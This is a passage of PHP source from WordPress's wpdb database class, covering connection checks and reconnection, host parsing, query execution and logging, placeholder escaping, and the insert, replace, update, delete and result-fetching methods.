				'<code>' . htmlspecialchars( $this->dbhost, ENT_QUOTES ) . '</code>'
			) . "</p>\n";

			$message .= "<ul>\n";
			$message .= '<li>' . __( 'Are you sure you have the correct username and password?' ) . "</li>\n";
			$message .= '<li>' . __( 'Are you sure you have typed the correct hostname?' ) . "</li>\n";
			$message .= '<li>' . __( 'Are you sure the database server is running?' ) . "</li>\n";
			$message .= "</ul>\n";

			$message .= '<p>' . sprintf(
				/* translators: %s: Support forums URL. */
				__( 'If you are unsure what these terms mean you should probably contact your host. If you still need help you can always visit the <a href="%s">WordPress support forums</a>.' ),
				__( 'https://wordpress.org/support/forums/' )
			) . "</p>\n";

			$this->bail( $message, 'db_connect_fail' );

			return false;
		} elseif ( $this->dbh ) {
			if ( ! $this->has_connected ) {
				$this->init_charset();
			}

			$this->has_connected = true;

			$this->set_charset( $this->dbh );

			$this->ready = true;
			$this->set_sql_mode();
			$this->select( $this->dbname, $this->dbh );

			return true;
		}

		return false;
	}

	/**
	 * Parses the DB_HOST setting to interpret it for mysqli_real_connect().
	 *
	 * mysqli_real_connect() doesn't support the host param including a port or socket
	 * like mysql_connect() does. This duplicates how mysql_connect() detects a port
	 * and/or socket file.
	 *
	 * @since 4.9.0
	 *
	 * @param string $host The DB_HOST setting to parse.
	 * @return array|false {
	 *     Array containing the host, the port, the socket and
	 *     whether it is an IPv6 address, in that order.
	 *     False if the host couldn't be parsed.
	 *
	 *     @type string      $0 Host name.
	 *     @type string|null $1 Port.
	 *     @type string|null $2 Socket.
	 *     @type bool        $3 Whether it is an IPv6 address.
	 * }
	 */
	public function parse_db_host( $host ) {
		$socket  = null;
		$is_ipv6 = false;

		// First peel off the socket parameter from the right, if it exists.
		$socket_pos = strpos( $host, ':/' );
		if ( false !== $socket_pos ) {
			$socket = substr( $host, $socket_pos + 1 );
			$host   = substr( $host, 0, $socket_pos );
		}

		/*
		 * We need to check for an IPv6 address first.
		 * An IPv6 address will always contain at least two colons.
		 */
		if ( substr_count( $host, ':' ) > 1 ) {
			$pattern = '#^(?:\[)?(?P<host>[0-9a-fA-F:]+)(?:\]:(?P<port>[\d]+))?#';
			$is_ipv6 = true;
		} else {
			// We seem to be dealing with an IPv4 address.
			$pattern = '#^(?P<host>[^:/]*)(?::(?P<port>[\d]+))?#';
		}

		$matches = array();
		$result  = preg_match( $pattern, $host, $matches );

		if ( 1 !== $result ) {
			// Couldn't parse the address, bail.
			return false;
		}

		$host = ! empty( $matches['host'] ) ? $matches['host'] : '';
		// Port cannot be a string; must be null or an integer.
		$port = ! empty( $matches['port'] ) ? absint( $matches['port'] ) : null;

		return array( $host, $port, $socket, $is_ipv6 );
	}

	/**
	 * Checks that the connection to the database is still up. If not, try to reconnect.
	 *
	 * If this function is unable to reconnect, it will forcibly die, or if called
	 * after the {@see 'template_redirect'} hook has been fired, return false instead.
	 *
	 * If `$allow_bail` is false, the lack of database connection will need to be handled manually.
	 *
	 * @since 3.9.0
	 *
	 * @param bool $allow_bail Optional. Allows the function to bail. Default true.
	 * @return bool|void True if the connection is up.
	 */
	public function check_connection( $allow_bail = true ) {
		// Check if the connection is alive.
		if ( ! empty( $this->dbh ) && mysqli_query( $this->dbh, 'DO 1' ) !== false ) {
			return true;
		}

		$error_reporting = false;

		// Disable warnings, as we don't want to see a multitude of "unable to connect" messages.
		if ( WP_DEBUG ) {
			$error_reporting = error_reporting();
			error_reporting( $error_reporting & ~E_WARNING );
		}

		for ( $tries = 1; $tries <= $this->reconnect_retries; $tries++ ) {
			/*
			 * On the last try, re-enable warnings. We want to see a single instance
			 * of the "unable to connect" message on the bail() screen, if it appears.
			 */
			if ( $this->reconnect_retries === $tries && WP_DEBUG ) {
				error_reporting( $error_reporting );
			}

			if ( $this->db_connect( false ) ) {
				if ( $error_reporting ) {
					error_reporting( $error_reporting );
				}

				return true;
			}

			sleep( 1 );
		}

		/*
		 * If template_redirect has already happened, it's too late for wp_die()/dead_db().
		 * Let's just return and hope for the best.
		 */
		if ( did_action( 'template_redirect' ) ) {
			return false;
		}

		if ( ! $allow_bail ) {
			return false;
		}

		wp_load_translations_early();

		$message = '<h1>' . __( 'Error reconnecting to the database' ) . "</h1>\n";

		$message .= '<p>' . sprintf(
			/* translators: %s: Database host. */
			__( 'This means that the contact with the database server at %s was lost. This could mean your host&#8217;s database server is down.' ),
			'<code>' . htmlspecialchars( $this->dbhost, ENT_QUOTES ) . '</code>'
		) . "</p>\n";

		$message .= "<ul>\n";
		$message .= '<li>' . __( 'Are you sure the database server is running?' ) . "</li>\n";
		$message .= '<li>' . __( 'Are you sure the database server is not under particularly heavy load?' ) . "</li>\n";
		$message .= "</ul>\n";

		$message .= '<p>' . sprintf(
			/* translators: %s: Support forums URL. */
			__( 'If you are unsure what these terms mean you should probably contact your host. If you still need help you can always visit the <a href="%s">WordPress support forums</a>.' ),
			__( 'https://wordpress.org/support/forums/' )
		) . "</p>\n";

		// We weren't able to reconnect, so we better bail.
		$this->bail( $message, 'db_connect_fail' );

		/*
		 * Call dead_db() if bail didn't die, because this database is no more.
		 * It has ceased to be (at least temporarily).
		 */
		dead_db();
	}

	/**
	 * Performs a database query, using current database connection.
	 *
	 * More information can be found on the documentation page.
	 *
	 * @since 0.71
	 *
	 * @link https://developer.wordpress.org/reference/classes/wpdb/
	 *
	 * @param string $query Database query.
	 * @return int|bool Boolean true for CREATE, ALTER, TRUNCATE and DROP queries. Number of rows
	 *                  affected/selected for all other queries. Boolean false on error.
	 */
	public function query( $query ) {
		if ( ! $this->ready ) {
			$this->check_current_query = true;
			return false;
		}

		/**
		 * Filters the database query.
		 *
		 * Some queries are made before the plugins have been loaded,
		 * and thus cannot be filtered with this method.
		 *
		 * @since 2.1.0
		 *
		 * @param string $query Database query.
		 */
		$query = apply_filters( 'query', $query );

		if ( ! $query ) {
			$this->insert_id = 0;
			return false;
		}

		$this->flush();

		// Log how the function was called.
		$this->func_call = "\$db->query(\"$query\")";

		// If we're writing to the database, make sure the query will write safely.
		if ( $this->check_current_query && ! $this->check_ascii( $query ) ) {
			$stripped_query = $this->strip_invalid_text_from_query( $query );
			/*
			 * strip_invalid_text_from_query() can perform queries, so we need
			 * to flush again, just to make sure everything is clear.
			 */
			$this->flush();
			if ( $stripped_query !== $query ) {
				$this->insert_id  = 0;
				$this->last_query = $query;

				wp_load_translations_early();

				$this->last_error = __( 'WordPress database error: Could not perform query because it contains invalid data.' );

				return false;
			}
		}

		$this->check_current_query = true;

		// Keep track of the last query for debug.
		$this->last_query = $query;

		$this->_do_query( $query );

		// Database server has gone away, try to reconnect.
		$mysql_errno = 0;

		if ( $this->dbh instanceof mysqli ) {
			$mysql_errno = mysqli_errno( $this->dbh );
		} else {
			/*
			 * $dbh is defined, but isn't a real connection.
			 * Something has gone horribly wrong, let's try a reconnect.
			 */
			$mysql_errno = 2006;
		}

		if ( empty( $this->dbh ) || 2006 === $mysql_errno ) {
			if ( $this->check_connection() ) {
				$this->_do_query( $query );
			} else {
				$this->insert_id = 0;
				return false;
			}
		}

		// If there is an error then take note of it.
		if ( $this->dbh instanceof mysqli ) {
			$this->last_error = mysqli_error( $this->dbh );
		} else {
			$this->last_error = __( 'Unable to retrieve the error message from the database server' );
		}

		if ( $this->last_error ) {
			// Clear insert_id on a subsequent failed insert.
			if ( $this->insert_id && preg_match( '/^\s*(insert|replace)\s/i', $query ) ) {
				$this->insert_id = 0;
			}

			$this->print_error();
			return false;
		}

		if ( preg_match( '/^\s*(create|alter|truncate|drop)\s/i', $query ) ) {
			$return_val = $this->result;
		} elseif ( preg_match( '/^\s*(insert|delete|update|replace)\s/i', $query ) ) {
			$this->rows_affected = mysqli_affected_rows( $this->dbh );

			// Take note of the insert_id.
			if ( preg_match( '/^\s*(insert|replace)\s/i', $query ) ) {
				$this->insert_id = mysqli_insert_id( $this->dbh );
			}

			// Return number of rows affected.
			$return_val = $this->rows_affected;
		} else {
			$num_rows = 0;

			if ( $this->result instanceof mysqli_result ) {
				while ( $row = mysqli_fetch_object( $this->result ) ) {
					$this->last_result[ $num_rows ] = $row;
					++$num_rows;
				}
			}

			// Log and return the number of rows selected.
			$this->num_rows = $num_rows;
			$return_val     = $num_rows;
		}

		return $return_val;
	}

	/**
	 * Internal function to perform the mysqli_query() call.
	 *
	 * @since 3.9.0
	 *
	 * @see wpdb::query()
	 *
	 * @param string $query The query to run.
	 */
	private function _do_query( $query ) {
		if ( defined( 'SAVEQUERIES' ) && SAVEQUERIES ) {
			$this->timer_start();
		}

		if ( ! empty( $this->dbh ) ) {
			$this->result = mysqli_query( $this->dbh, $query );
		}

		++$this->num_queries;

		if ( defined( 'SAVEQUERIES' ) && SAVEQUERIES ) {
			$this->log_query(
				$query,
				$this->timer_stop(),
				$this->get_caller(),
				$this->time_start,
				array()
			);
		}
	}

	/**
	 * Logs query data.
	 *
	 * @since 5.3.0
	 *
	 * @param string $query           The query's SQL.
	 * @param float  $query_time      Total time spent on the query, in seconds.
	 * @param string $query_callstack Comma-separated list of the calling functions.
	 * @param float  $query_start     Unix timestamp of the time at the start of the query.
	 * @param array  $query_data      Custom query data.
	 */
	public function log_query( $query, $query_time, $query_callstack, $query_start, $query_data ) {
		/**
		 * Filters the custom data to log alongside a query.
		 *
		 * Caution should be used when modifying any of this data, it is recommended that any additional
		 * information you need to store about a query be added as a new associative array element.
		 *
		 * @since 5.3.0
		 *
		 * @param array  $query_data      Custom query data.
		 * @param string $query           The query's SQL.
		 * @param float  $query_time      Total time spent on the query, in seconds.
		 * @param string $query_callstack Comma-separated list of the calling functions.
		 * @param float  $query_start     Unix timestamp of the time at the start of the query.
		 */
		$query_data = apply_filters( 'log_query_custom_data', $query_data, $query, $query_time, $query_callstack, $query_start );

		$this->queries[] = array(
			$query,
			$query_time,
			$query_callstack,
			$query_start,
			$query_data,
		);
	}

	/**
	 * Generates and returns a placeholder escape string for use in queries returned by ::prepare().
	 *
	 * @since 4.8.3
	 *
	 * @return string String to escape placeholders.
	 */
	public function placeholder_escape() {
		static $placeholder;

		if ( ! $placeholder ) {
			// Old WP installs may not have AUTH_SALT defined.
			$salt = defined( 'AUTH_SALT' ) && AUTH_SALT ? AUTH_SALT : (string) rand();

			$placeholder = '{' . hash_hmac( 'sha256', uniqid( $salt, true ), $salt ) . '}';
		}

		/*
		 * Add the filter to remove the placeholder escaper. Uses priority 0, so that anything
		 * else attached to this filter will receive the query with the placeholder string removed.
		 */
		if ( false === has_filter( 'query', array( $this, 'remove_placeholder_escape' ) ) ) {
			add_filter( 'query', array( $this, 'remove_placeholder_escape' ), 0 );
		}

		return $placeholder;
	}

	/**
	 * Adds a placeholder escape string, to escape anything that resembles a printf() placeholder.
	 *
	 * @since 4.8.3
	 *
	 * @param string $query The query to escape.
	 * @return string The query with the placeholder escape string inserted where necessary.
	 */
	public function add_placeholder_escape( $query ) {
		/*
		 * To prevent returning anything that even vaguely resembles a placeholder,
		 * we clobber every % we can find.
		 */
		return str_replace( '%', $this->placeholder_escape(), $query );
	}

	/**
	 * Removes the placeholder escape strings from a query.
	 *
	 * @since 4.8.3
	 *
	 * @param string $query The query from which the placeholder will be removed.
	 * @return string The query with the placeholder removed.
	 */
	public function remove_placeholder_escape( $query ) {
		return str_replace( $this->placeholder_escape(), '%', $query );
	}

	/**
	 * Inserts a row into the table.
	 *
	 * Examples:
	 *
	 *     $wpdb->insert(
	 *         'table',
	 *         array(
	 *             'column1' => 'foo',
	 *             'column2' => 'bar',
	 *         )
	 *     );
	 *     $wpdb->insert(
	 *         'table',
	 *         array(
	 *             'column1' => 'foo',
	 *             'column2' => 1337,
	 *         ),
	 *         array(
	 *             '%s',
	 *             '%d',
	 *         )
	 *     );
	 *
	 * @since 2.5.0
	 *
	 * @see wpdb::prepare()
	 * @see wpdb::$field_types
	 * @see wp_set_wpdb_vars()
	 *
	 * @param string          $table  Table name.
	 * @param array           $data   Data to insert (in column => value pairs).
	 *                                Both `$data` columns and `$data` values should be "raw" (neither should be SQL escaped).
	 *                                Sending a null value will cause the column to be set to NULL - the corresponding
	 *                                format is ignored in this case.
	 * @param string[]|string $format Optional. An array of formats to be mapped to each of the value in `$data`.
	 *                                If string, that format will be used for all of the values in `$data`.
	 *                                A format is one of '%d', '%f', '%s' (integer, float, string).
	 *                                If omitted, all values in `$data` will be treated as strings unless otherwise
	 *                                specified in wpdb::$field_types. Default null.
	 * @return int|false The number of rows inserted, or false on error.
	 */
	public function insert( $table, $data, $format = null ) {
		return $this->_insert_replace_helper( $table, $data, $format, 'INSERT' );
	}

	/**
	 * Replaces a row in the table or inserts it if it does not exist, based on a PRIMARY KEY or a UNIQUE index.
	 *
	 * A REPLACE works exactly like an INSERT, except that if an old row in the table has the same value as a new row
	 * for a PRIMARY KEY or a UNIQUE index, the old row is deleted before the new row is inserted.
	 *
	 * Examples:
	 *
	 *     $wpdb->replace(
	 *         'table',
	 *         array(
	 *             'ID'      => 123,
	 *             'column1' => 'foo',
	 *             'column2' => 'bar',
	 *         )
	 *     );
	 *     $wpdb->replace(
	 *         'table',
	 *         array(
	 *             'ID'      => 456,
	 *             'column1' => 'foo',
	 *             'column2' => 1337,
	 *         ),
	 *         array(
	 *             '%d',
	 *             '%s',
	 *             '%d',
	 *         )
	 *     );
	 *
	 * @since 3.0.0
	 *
	 * @see wpdb::prepare()
	 * @see wpdb::$field_types
	 * @see wp_set_wpdb_vars()
	 *
	 * @param string          $table  Table name.
	 * @param array           $data   Data to insert (in column => value pairs).
	 *                                Both `$data` columns and `$data` values should be "raw" (neither should be SQL escaped).
	 *                                A primary key or unique index is required to perform a replace operation.
	 *                                Sending a null value will cause the column to be set to NULL - the corresponding
	 *                                format is ignored in this case.
	 * @param string[]|string $format Optional. An array of formats to be mapped to each of the value in `$data`.
	 *                                If string, that format will be used for all of the values in `$data`.
	 *                                A format is one of '%d', '%f', '%s' (integer, float, string).
	 *                                If omitted, all values in `$data` will be treated as strings unless otherwise
	 *                                specified in wpdb::$field_types. Default null.
	 * @return int|false The number of rows affected, or false on error.
	 */
	public function replace( $table, $data, $format = null ) {
		return $this->_insert_replace_helper( $table, $data, $format, 'REPLACE' );
	}

	/**
	 * Helper function for insert and replace.
	 *
	 * Runs an insert or replace query based on `$type` argument.
	 *
	 * @since 3.0.0
	 *
	 * @see wpdb::prepare()
	 * @see wpdb::$field_types
	 * @see wp_set_wpdb_vars()
	 *
	 * @param string          $table  Table name.
	 * @param array           $data   Data to insert (in column => value pairs).
	 *                                Both `$data` columns and `$data` values should be "raw" (neither should be SQL escaped).
	 *                                Sending a null value will cause the column to be set to NULL - the corresponding
	 *                                format is ignored in this case.
	 * @param string[]|string $format Optional. An array of formats to be mapped to each of the value in `$data`.
	 *                                If string, that format will be used for all of the values in `$data`.
	 *                                A format is one of '%d', '%f', '%s' (integer, float, string).
	 *                                If omitted, all values in `$data` will be treated as strings unless otherwise
	 *                                specified in wpdb::$field_types. Default null.
	 * @param string          $type   Optional. Type of operation. Either 'INSERT' or 'REPLACE'.
	 *                                Default 'INSERT'.
	 * @return int|false The number of rows affected, or false on error.
	 */
	public function _insert_replace_helper( $table, $data, $format = null, $type = 'INSERT' ) {
		$this->insert_id = 0;

		if ( ! in_array( strtoupper( $type ), array( 'REPLACE', 'INSERT' ), true ) ) {
			return false;
		}

		$data = $this->process_fields( $table, $data, $format );
		if ( false === $data ) {
			return false;
		}

		$formats = array();
		$values  = array();
		foreach ( $data as $value ) {
			if ( is_null( $value['value'] ) ) {
				$formats[] = 'NULL';
				continue;
			}

			$formats[] = $value['format'];
			$values[]  = $value['value'];
		}

		$fields  = '`' . implode( '`, `', array_keys( $data ) ) . '`';
		$formats = implode( ', ', $formats );

		$sql = "$type INTO `$table` ($fields) VALUES ($formats)";

		$this->check_current_query = false;
		return $this->query( $this->prepare( $sql, $values ) );
	}

	/**
	 * Updates a row in the table.
	 *
	 * Examples:
	 *
	 *     $wpdb->update(
	 *         'table',
	 *         array(
	 *             'column1' => 'foo',
	 *             'column2' => 'bar',
	 *         ),
	 *         array(
	 *             'ID' => 1,
	 *         )
	 *     );
	 *     $wpdb->update(
	 *         'table',
	 *         array(
	 *             'column1' => 'foo',
	 *             'column2' => 1337,
	 *         ),
	 *         array(
	 *             'ID' => 1,
	 *         ),
	 *         array(
	 *             '%s',
	 *             '%d',
	 *         ),
	 *         array(
	 *             '%d',
	 *         )
	 *     );
	 *
	 * @since 2.5.0
	 *
	 * @see wpdb::prepare()
	 * @see wpdb::$field_types
	 * @see wp_set_wpdb_vars()
	 *
	 * @param string          $table        Table name.
	 * @param array           $data         Data to update (in column => value pairs).
	 *                                      Both $data columns and $data values should be "raw" (neither should be SQL escaped).
	 *                                      Sending a null value will cause the column to be set to NULL - the corresponding
	 *                                      format is ignored in this case.
	 * @param array           $where        A named array of WHERE clauses (in column => value pairs).
	 *                                      Multiple clauses will be joined with ANDs.
	 *                                      Both $where columns and $where values should be "raw".
	 *                                      Sending a null value will create an IS NULL comparison - the corresponding
	 *                                      format will be ignored in this case.
	 * @param string[]|string $format       Optional. An array of formats to be mapped to each of the values in $data.
	 *                                      If string, that format will be used for all of the values in $data.
	 *                                      A format is one of '%d', '%f', '%s' (integer, float, string).
	 *                                      If omitted, all values in $data will be treated as strings unless otherwise
	 *                                      specified in wpdb::$field_types. Default null.
	 * @param string[]|string $where_format Optional. An array of formats to be mapped to each of the values in $where.
	 *                                      If string, that format will be used for all of the items in $where.
	 *                                      A format is one of '%d', '%f', '%s' (integer, float, string).
	 *                                      If omitted, all values in $where will be treated as strings unless otherwise
	 *                                      specified in wpdb::$field_types. Default null.
	 * @return int|false The number of rows updated, or false on error.
	 */
	public function update( $table, $data, $where, $format = null, $where_format = null ) {
		if ( ! is_array( $data ) || ! is_array( $where ) ) {
			return false;
		}

		$data = $this->process_fields( $table, $data, $format );
		if ( false === $data ) {
			return false;
		}
		$where = $this->process_fields( $table, $where, $where_format );
		if ( false === $where ) {
			return false;
		}

		$fields     = array();
		$conditions = array();
		$values     = array();
		foreach ( $data as $field => $value ) {
			if ( is_null( $value['value'] ) ) {
				$fields[] = "`$field` = NULL";
				continue;
			}

			$fields[] = "`$field` = " . $value['format'];
			$values[] = $value['value'];
		}
		foreach ( $where as $field => $value ) {
			if ( is_null( $value['value'] ) ) {
				$conditions[] = "`$field` IS NULL";
				continue;
			}

			$conditions[] = "`$field` = " . $value['format'];
			$values[]     = $value['value'];
		}

		$fields     = implode( ', ', $fields );
		$conditions = implode( ' AND ', $conditions );

		$sql = "UPDATE `$table` SET $fields WHERE $conditions";

		$this->check_current_query = false;
		return $this->query( $this->prepare( $sql, $values ) );
	}

	/**
	 * Deletes a row in the table.
	 *
	 * Examples:
	 *
	 *     $wpdb->delete(
	 *         'table',
	 *         array(
	 *             'ID' => 1,
	 *         )
	 *     );
	 *     $wpdb->delete(
	 *         'table',
	 *         array(
	 *             'ID' => 1,
	 *         ),
	 *         array(
	 *             '%d',
	 *         )
	 *     );
	 *
	 * @since 3.4.0
	 *
	 * @see wpdb::prepare()
	 * @see wpdb::$field_types
	 * @see wp_set_wpdb_vars()
	 *
	 * @param string          $table        Table name.
	 * @param array           $where        A named array of WHERE clauses (in column => value pairs).
	 *                                      Multiple clauses will be joined with ANDs.
	 *                                      Both $where columns and $where values should be "raw".
	 *                                      Sending a null value will create an IS NULL comparison - the corresponding
	 *                                      format will be ignored in this case.
	 * @param string[]|string $where_format Optional. An array of formats to be mapped to each of the values in $where.
	 *                                      If string, that format will be used for all of the items in $where.
	 *                                      A format is one of '%d', '%f', '%s' (integer, float, string).
	 *                                      If omitted, all values in $data will be treated as strings unless otherwise
	 *                                      specified in wpdb::$field_types. Default null.
	 * @return int|false The number of rows deleted, or false on error.
	 */
	public function delete( $table, $where, $where_format = null ) {
		if ( ! is_array( $where ) ) {
			return false;
		}

		$where = $this->process_fields( $table, $where, $where_format );
		if ( false === $where ) {
			return false;
		}

		$conditions = array();
		$values     = array();
		foreach ( $where as $field => $value ) {
			if ( is_null( $value['value'] ) ) {
				$conditions[] = "`$field` IS NULL";
				continue;
			}

			$conditions[] = "`$field` = " . $value['format'];
			$values[]     = $value['value'];
		}

		$conditions = implode( ' AND ', $conditions );

		$sql = "DELETE FROM `$table` WHERE $conditions";

		$this->check_current_query = false;
		return $this->query( $this->prepare( $sql, $values ) );
	}

	/**
	 * Processes arrays of field/value pairs and field formats.
	 *
	 * This is a helper method for wpdb's CRUD methods, which take field/value pairs
	 * for inserts, updates, and where clauses. This method first pairs each value
	 * with a format. Then it determines the charset of that field, using that
	 * to determine if any invalid text would be stripped. If text is stripped,
	 * then field processing is rejected and the query fails.
	 *
	 * @since 4.2.0
	 *
	 * @param string          $table  Table name.
	 * @param array           $data   Array of values keyed by their field names.
	 * @param string[]|string $format Formats or format to be mapped to the values in the data.
	 * @return array|false An array of fields that contain paired value and formats.
	 *                     False for invalid values.
	 */
	protected function process_fields( $table, $data, $format ) {
		$data = $this->process_field_formats( $data, $format );
		if ( false === $data ) {
			return false;
		}

		$data = $this->process_field_charsets( $data, $table );
		if ( false === $data ) {
			return false;
		}

		$data = $this->process_field_lengths( $data, $table );
		if ( false === $data ) {
			return false;
		}

		$converted_data = $this->strip_invalid_text( $data );

		if ( $data !== $converted_data ) {

			$problem_fields = array();
			foreach ( $data as $field => $value ) {
				if ( $value !== $converted_data[ $field ] ) {
					$problem_fields[] = $field;
				}
			}

			wp_load_translations_early();

			if ( 1 === count( $problem_fields ) ) {
				$this->last_error = sprintf(
					/* translators: %s: Database field where the error occurred. */
					__( 'WordPress database error: Processing the value for the following field failed: %s. The supplied value may be too long or contains invalid data.' ),
					reset( $problem_fields )
				);
			} else {
				$this->last_error = sprintf(
					/* translators: %s: Database fields where the error occurred. */
					__( 'WordPress database error: Processing the values for the following fields failed: %s. The supplied values may be too long or contain invalid data.' ),
					implode( ', ', $problem_fields )
				);
			}

			return false;
		}

		return $data;
	}

	/**
	 * Prepares arrays of value/format pairs as passed to wpdb CRUD methods.
	 *
	 * @since 4.2.0
	 *
	 * @param array           $data   Array of values keyed by their field names.
	 * @param string[]|string $format Formats or format to be mapped to the values in the data.
	 * @return array {
	 *     Array of values and formats keyed by their field names.
	 *
	 *     @type array ...$0 {
	 *         Value and format for this field.
	 *
	 *         @type mixed  $value  The value to be formatted.
	 *         @type string $format The format to be mapped to the value.
	 *     }
	 * }
	 */
	protected function process_field_formats( $data, $format ) {
		$formats          = (array) $format;
		$original_formats = $formats;

		foreach ( $data as $field => $value ) {
			$value = array(
				'value'  => $value,
				'format' => '%s',
			);

			if ( ! empty( $format ) ) {
				$value['format'] = array_shift( $formats );
				if ( ! $value['format'] ) {
					$value['format'] = reset( $original_formats );
				}
			} elseif ( isset( $this->field_types[ $field ] ) ) {
				$value['format'] = $this->field_types[ $field ];
			}

			$data[ $field ] = $value;
		}

		return $data;
	}

	/**
	 * Adds field charsets to field/value/format arrays generated by wpdb::process_field_formats().
	 *
	 * @since 4.2.0
	 *
	 * @param array  $data {
	 *     Array of values and formats keyed by their field names,
	 *     as it comes from the wpdb::process_field_formats() method.
	 *
	 *     @type array ...$0 {
	 *         Value and format for this field.
	 *
	 *         @type mixed  $value  The value to be formatted.
	 *         @type string $format The format to be mapped to the value.
	 *     }
	 * }
	 * @param string $table Table name.
	 * @return array|false {
	 *     The same array of data with additional 'charset' keys, or false if
	 *     the charset for the table cannot be found.
	 *
	 *     @type array ...$0 {
	 *         Value, format, and charset for this field.
	 *
	 *         @type mixed        $value   The value to be formatted.
	 *         @type string       $format  The format to be mapped to the value.
	 *         @type string|false $charset The charset to be used for the value.
	 *     }
	 * }
	 */
	protected function process_field_charsets( $data, $table ) {
		foreach ( $data as $field => $value ) {
			if ( '%d' === $value['format'] || '%f' === $value['format'] ) {
				/*
				 * We can skip this field if we know it isn't a string.
				 * This checks %d/%f versus ! %s because its sprintf() could take more.
				 */
				$value['charset'] = false;
			} else {
				$value['charset'] = $this->get_col_charset( $table, $field );
				if ( is_wp_error( $value['charset'] ) ) {
					return false;
				}
			}

			$data[ $field ] = $value;
		}

		return $data;
	}

	/**
	 * For string fields, records the maximum string length that field can safely save.
	 *
	 * @since 4.2.1
	 *
	 * @param array  $data {
	 *     Array of values, formats, and charsets keyed by their field names,
	 *     as it comes from the wpdb::process_field_charsets() method.
	 *
	 *     @type array ...$0 {
	 *         Value, format, and charset for this field.
	 *
	 *         @type mixed        $value   The value to be formatted.
	 *         @type string       $format  The format to be mapped to the value.
	 *         @type string|false $charset The charset to be used for the value.
	 *     }
	 * }
	 * @param string $table Table name.
	 * @return array|false {
	 *     The same array of data with additional 'length' keys, or false if
	 *     information for the table cannot be found.
	 *
	 *     @type array ...$0 {
	 *         Value, format, charset, and length for this field.
	 *
	 *         @type mixed        $value   The value to be formatted.
	 *         @type string       $format  The format to be mapped to the value.
	 *         @type string|false $charset The charset to be used for the value.
	 *         @type array|false  $length  {
	 *             Information about the maximum length of the value.
	 *             False if the column has no length.
	 *
	 *             @type string $type   One of 'byte' or 'char'.
	 *             @type int    $length The column length.
	 *         }
	 *     }
	 * }
	 */
	protected function process_field_lengths( $data, $table ) {
		foreach ( $data as $field => $value ) {
			if ( '%d' === $value['format'] || '%f' === $value['format'] ) {
				/*
				 * We can skip this field if we know it isn't a string.
				 * This checks %d/%f versus ! %s because its sprintf() could take more.
				 */
				$value['length'] = false;
			} else {
				$value['length'] = $this->get_col_length( $table, $field );
				if ( is_wp_error( $value['length'] ) ) {
					return false;
				}
			}

			$data[ $field ] = $value;
		}

		return $data;
	}

	/**
	 * Retrieves one value from the database.
	 *
	 * Executes a SQL query and returns the value from the SQL result.
	 * If the SQL result contains more than one column and/or more than one row,
	 * the value in the column and row specified is returned. If $query is null,
	 * the value in the specified column and row from the previous SQL result is returned.
	 *
	 * @since 0.71
	 *
	 * @param string|null $query Optional. SQL query. Defaults to null, use the result from the previous query.
	 * @param int         $x     Optional. Column of value to return. Indexed from 0. Default 0.
	 * @param int         $y     Optional. Row of value to return. Indexed from 0. Default 0.
	 * @return string|null Database query result (as string), or null on failure.
	 */
	public function get_var( $query = null, $x = 0, $y = 0 ) {
		$this->func_call = "\$db->get_var(\"$query\", $x, $y)";

		if ( $query ) {
			if ( $this->check_current_query && $this->check_safe_collation( $query ) ) {
				$this->check_current_query = false;
			}

			$this->query( $query );
		}

		// Extract var out of cached results based on x,y vals.
		if ( ! empty( $this->last_result[ $y ] ) ) {
			$values = array_values( get_object_vars( $this->last_result[ $y ] ) );
		}

		// If there is a value return it, else return null.
		return ( isset( $values[ $x ] ) && '' !== $values[ $x ] ) ? $values[ $x ] : null;
	}

	/**
	 * Retrieves one row from the database.
	 *
	 * Executes a SQL query and returns the row from the SQL result.
	 *
	 * @since 0.71
	 *
	 * @param string|null $query  SQL query.
	 * @param string      $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which
	 *                            correspond to an stdClass object, an associative array, or a numeric array,
	 *                            respectively. Default OBJECT.
	 * @param int         $y      Optional. Row to return. Indexed from 0. Default 0.
	 * @return array|object|null|void Database query result in format specified by $output or null on failure.
	 */
	public function get_row( $query = null, $output = OBJECT, $y = 0 ) {
		$this->func_call = "\$db->get_row(\"$query\",$output,$y)";

		if ( $query ) {
			if ( $this->check_current_query && $this->check_safe_collation( $query ) ) {
				$this->check_current_query = false;
			}

			$this->query( $query );
		} else {
			return null;
		}

		if ( ! isset( $this->last_result[ $y ] ) ) {
			return null;
		}

		if ( OBJECT === $output ) {
			return $this->last_result[ $y ] ? $this->last_result[ $y ] : null;
		} elseif ( ARRAY_A === $output ) {
			return $this->last_result[ $y ] ? get_object_vars( $this->last_result[ $y ] ) : null;
		} elseif ( ARRAY_N === $output ) {
			return $this->last_result[ $y ] ? array_values( get_object_vars( $this->last_result[ $y ] ) ) : null;
		} elseif ( OBJECT === strtoupper( $output ) ) {
			// Back compat for OBJECT being previously case-insensitive.
			return $this->last_result[ $y ] ? $this->last_result[ $y ] : null;
		} else {
			$this->print_error( ' $db->get_row(string query, output type, int offset) -- Output type must be one of: OBJECT, ARRAY_A, ARRAY_N' );
		}
	}

	/**
	 * Retrieves one column from the database.
	 *
	 * Executes a SQL query and returns the column from the SQL result.
	 * If the SQL result contains more than one column, the column specified is returned.
	 * If $query is null, the specified column from the previous SQL result is returned.
	 *
	 * @since 0.71
	 *
	 * @param string|null $query Optional. SQL query. Defaults to previous query.
	 * @param int         $x     Optional. Column to return. Indexed from 0. Default 0.
	 * @return array Database query result. Array indexed from 0 by SQL result row number.
	 */
	public function get_col( $query = null, $x = 0 ) {
		if ( $query ) {
			if ( $this->check_current_query && $this->check_safe_collation( $query ) ) {
				$this->check_current_query = false;
			}

			$this->query( $query );
		}

		$new_array = array();
		// Extract the column values.
		if ( $this->last_result ) {
			for ( $i = 0, $j = count( $this->last_result ); $i < $j; $i++ ) {
				$new_array[ $i ] = $this->get_var( null, $x, $i );
			}
		}
		return $new_array;
	}

	/**
	 * Retrieves an entire SQL result set from the database (i.e., many rows).
	 *
	 * Executes a SQL query and returns the entire SQL result.
	 *
	 * @since 0.71
	 *
	 * @param string $query  SQL query.
	 * @param string $output Optional. Any of ARRAY_A | ARRAY_N | OBJECT | OBJECT_K constants.
	 *                       With one of the first three, return an array of rows indexed
	 *                       from 0 by SQL result row number. Each row is an associative array
	 *                       (column => value, ...), a numerically indexed array (0 => value, ...),
	 *                       or an object ( ->column = value ), respectively. With OBJECT_K,
	 *                       return an associative array of row objects keyed by the value
	 *                       of each row's first column's value. Duplicate keys are discarded.
	 *                       Default OBJECT.
	 * @return array|object|null Database query results.
	 */
	public function get_results( $query = null, $output = OBJECT ) {
		$this->func_call = "\$db->get_results(\"$query\", $output)";

		if ( $query ) {
